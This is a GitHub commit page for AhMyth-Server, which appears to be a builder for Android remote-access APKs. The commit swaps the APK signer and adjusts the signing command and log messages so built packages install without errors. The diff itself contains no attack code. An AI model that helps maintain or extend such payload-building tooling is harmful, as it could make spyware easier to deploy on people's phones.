Skip to content

Commit

Permalink
Fixed 'parsing package' + 'app not installed' errors by migrating the…
Browse files Browse the repository at this point in the history
… signer to 'uber-sign-apk'
  • Loading branch information
Morsmalleo committed Nov 7, 2021
1 parent caf29c8 commit 0f29a4c
Show file tree
Hide file tree
Showing 3 changed files with 2 additions and 3 deletions.
Binary file modified AhMyth-Server/app/app/Factory/sign.jar
Binary file not shown.
1 change: 0 additions & 1 deletion AhMyth-Server/app/app/assets/js/Constants.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@ var path = require("path");

//---------------------App Controller Vars----------------------------------
exports.apkName = 'Ahmyth.apk';
exports.signedApkName = 'Ahmyth.s.apk';
exports.ahmythApkFolderPath = path.join(__dirname, '..', '..', 'Factory/Ahmyth').replace("app.asar", "app.asar.unpacked");
exports.apktoolJar = path.join(__dirname, '..', '..', 'Factory/apktool.jar').replace("app.asar", "app.asar.unpacked");
exports.signApkJar = path.join(__dirname, '..', '..', 'Factory/sign.jar').replace("app.asar", "app.asar.unpacked");;
Expand Down
4 changes: 2 additions & 2 deletions AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js
Original file line number Diff line number Diff line change
Expand Up @@ -141,7 +141,7 @@ app.controller("AppCtrl", ($scope) => {
}

$appCtrl.Log('Signing ' + CONSTANTS.apkName + '...');
var signApk = exec('java -jar "' + CONSTANTS.signApkJar + '" "' + path.join(outputPath, CONSTANTS.apkName) + '"',
var signApk = exec('java -jar "' + CONSTANTS.signApkJar + '" -a "' + path.join(outputPath, CONSTANTS.apkName) + '"',
(error, stdout, stderr) => {
if (error !== null) {
$appCtrl.Log('Signing Failed', CONSTANTS.logStatus.FAIL);
Expand All @@ -153,7 +153,7 @@ app.controller("AppCtrl", ($scope) => {
if (err) throw err;

$appCtrl.Log('Apk built successfully', CONSTANTS.logStatus.SUCCESS);
$appCtrl.Log("The apk has been built on " + path.join(outputPath, CONSTANTS.signedApkName), CONSTANTS.logStatus.SUCCESS);
$appCtrl.Log("The apk has been built on " + path.join(outputPath), CONSTANTS.logStatus.SUCCESS);

});
});
Expand Down

0 comments on commit 0f29a4c

Please sign in to comment.